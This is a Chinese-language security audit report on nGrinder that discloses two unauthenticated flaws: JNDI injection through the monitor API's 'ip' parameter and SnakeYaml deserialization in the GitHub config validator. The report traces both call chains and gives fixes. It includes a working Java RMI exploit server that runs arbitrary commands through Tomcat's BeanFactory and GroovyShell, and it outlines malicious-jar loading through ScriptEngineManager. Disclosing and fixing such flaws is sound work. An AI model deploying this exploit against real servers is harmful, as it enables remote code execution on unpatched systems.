ngrinder代码审计
字数 1300 2025-08-18 11:36:48

nGrinder 代码审计报告:未授权JNDI注入与SnakeYaml反序列化漏洞分析

1. 授权机制分析

nGrinder使用Spring Security的@PreAuthorize注解进行权限校验,但存在以下特点:

  • 控制器函数参数包含User实体类时会自动进行权限校验
  • StatisticsApiControllerUserSignUpApiController默认不开启授权检查
  • 审计发现两个高危未授权漏洞接口

2. 未授权JNDI注入漏洞

2.1 漏洞位置

org.ngrinder.agent.controller.MonitorManagerApiController#getRealTimeMonitorData

2.2 漏洞调用链

  1. 入口方法接收可控的ip参数:
public SystemDataModel getRealTimeMonitorData(@RequestParam final String ip) 
    throws InterruptedException, ExecutionException, TimeoutException {
    int port = config.getMonitorPort();
    Future<SystemInfo> systemInfoFuture = AopUtils.proxy(this).getAsyncSystemInfo(ip, port);
    SystemInfo systemInfo = checkNotNull(systemInfoFuture.get(2, TimeUnit.SECONDS), 
        "Monitoring data is not available.");
    return new SystemDataModel(systemInfo, "UNKNOWN");
}
  1. 调用getAsyncSystemInfo方法:
public Future<SystemInfo> getAsyncSystemInfo(String ip, int port) {
    return new AsyncResult<>(monitorInfoStore.getSystemInfo(ip, port));
}
  1. 进入MonitorInfoStore.getSystemInfo
public SystemInfo getSystemInfo(String ip, int port) {
    MonitorClientService monitorClient = monitorClientMap.get(ip);
    if (monitorClient == null) {
        monitorClient = new MonitorClientService(ip, port);
        monitorClient.init();
        IOUtils.closeQuietly(monitorClientMap.put(ip, monitorClient));
    }
    monitorClient.update();
    monitorClient.setLastAccessedTime(System.currentTimeMillis());
    return monitorClient.getSystemInfo();
}
  1. MonitorClientService.init()创建MBeanClient
public void init() {
    try {
        mBeanClient = new MBeanClient(ip, port);
        mBeanClient.connect();
    } catch (IOException e) {
        LOGGER.info("Monitor Connection Error to {} by {}", ip + ":" + port, e.getMessage());
    }
}
  1. MBeanClient.connect()最终调用JMXConnectorFactory.connect(jmxUrl)
private JMXConnector connectWithTimeout(final JMXServiceURL jmxUrl, int timeout) 
    throws NGrinderRuntimeException, TimeoutException {
    try {
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Future<JMXConnector> future = executor.submit(() -> JMXConnectorFactory.connect(jmxUrl));
        return future.get(timeout, TimeUnit.MILLISECONDS);
    } catch (TimeoutException e) {
        throw e;
    } catch (Exception e) {
        throw processException(e);
    }
}
  1. 关键漏洞点 - JNDI查找:
private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env) 
    throws NamingException {
    InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));
    Object objref = ctx.lookup(jndiURL);  // jndiURL可控导致JNDI注入
    ctx.close();
    return narrowJRMPServer(objref);
}

2.3 高版本JDK利用方法

nGrinder环境包含Tomcat和Groovy包,可绕过JDK高版本限制:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Exploit {
    public static void main(String args[]) throws Exception{
        int port = Integer.parseInt(args[0]);
        String cmd = args[1];
        
        Registry registry = LocateRegistry.createRegistry(port);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", 
            true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        String script = String.format("'%s'.execute()", cmd);
        ref.add(new StringRefAddr("x", script));
        
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("rmi://0.0.0.0:13243/jmxrmi", referenceWrapper);
    }
}

3. 未授权SnakeYaml反序列化漏洞

3.1 漏洞位置

org.ngrinder.script.controller.FileEntryApiController#validateGithubConfig

3.2 漏洞分析

  1. 未授权接口:
@PostMapping("/github/validate")
public void validateGithubConfig(@RequestBody FileEntry fileEntry) {
    gitHubFileEntryService.validate(fileEntry);
}
  1. 调用GitHubFileEntryService.validate
public boolean validate(FileEntry gitConfigYaml) {
    for (GitHubConfig config : getAllGithubConfig(gitConfigYaml)) {
        // ...
    }
}
  1. 关键漏洞点 - Yaml反序列化:
private Set<GitHubConfig> getAllGithubConfig(FileEntry gitConfigYaml) {
    Set<GitHubConfig> gitHubConfig = new HashSet<>();
    Yaml yaml = new Yaml();
    Iterable<Map<String, Object>> gitConfigs = cast(yaml.loadAll(gitConfigYaml.getContent()));
    // ...
}
  1. 反序列化调用链:
  • yaml.loadAll()BaseConstructor.getData()constructDocument()
  • 最终会实例化javax.script.ScriptEngineManager并利用SPI机制加载恶意类

3.3 漏洞利用

使用ScriptEngineManager通过URL加载恶意jar包,可利用yaml-payload项目生成payload。

4. 修复建议

  1. JNDI注入修复

    • MonitorManagerApiController.getRealTimeMonitorData方法添加权限校验
    • 对输入的ip参数进行严格过滤
    • 升级JDK版本并设置com.sun.jndi.rmi.object.trustURLCodebase=false
  2. SnakeYaml反序列化修复

    • validateGithubConfig方法添加权限校验
    • 使用SafeConstructor限制Yaml反序列化:
      Yaml yaml = new Yaml(new SafeConstructor());
      
    • 对用户输入的Yaml内容进行严格校验
  3. 通用建议:

    • 对所有接口进行权限校验
    • 更新依赖库到最新安全版本
    • 实施输入验证和输出编码

5. 漏洞状态

以上漏洞已提交CNNVD并确认通过。

nGrinder 代码审计报告:未授权JNDI注入与SnakeYaml反序列化漏洞分析 1. 授权机制分析 nGrinder使用Spring Security的 @PreAuthorize 注解进行权限校验,但存在以下特点: 控制器函数参数包含 User 实体类时会自动进行权限校验 StatisticsApiController 和 UserSignUpApiController 默认不开启授权检查 审计发现两个高危未授权漏洞接口 2. 未授权JNDI注入漏洞 2.1 漏洞位置 org.ngrinder.agent.controller.MonitorManagerApiController#getRealTimeMonitorData 2.2 漏洞调用链 入口方法接收可控的 ip 参数: 调用 getAsyncSystemInfo 方法: 进入 MonitorInfoStore.getSystemInfo : MonitorClientService.init() 创建 MBeanClient : MBeanClient.connect() 最终调用 JMXConnectorFactory.connect(jmxUrl) : 关键漏洞点 - JNDI查找: 2.3 高版本JDK利用方法 nGrinder环境包含Tomcat和Groovy包,可绕过JDK高版本限制: 3. 未授权SnakeYaml反序列化漏洞 3.1 漏洞位置 org.ngrinder.script.controller.FileEntryApiController#validateGithubConfig 3.2 漏洞分析 未授权接口: 调用 GitHubFileEntryService.validate : 关键漏洞点 - Yaml反序列化: 反序列化调用链: yaml.loadAll() → BaseConstructor.getData() → constructDocument() 最终会实例化 javax.script.ScriptEngineManager 并利用SPI机制加载恶意类 3.3 漏洞利用 使用ScriptEngineManager通过URL加载恶意jar包,可利用 yaml-payload 项目生成payload。 4. 修复建议 JNDI注入修复 : 对 MonitorManagerApiController.getRealTimeMonitorData 方法添加权限校验 对输入的 ip 参数进行严格过滤 升级JDK版本并设置 com.sun.jndi.rmi.object.trustURLCodebase=false SnakeYaml反序列化修复 : 对 validateGithubConfig 方法添加权限校验 使用SafeConstructor限制Yaml反序列化: 对用户输入的Yaml内容进行严格校验 通用建议: 对所有接口进行权限校验 更新依赖库到最新安全版本 实施输入验证和输出编码 5. 漏洞状态 以上漏洞已提交CNNVD并确认通过。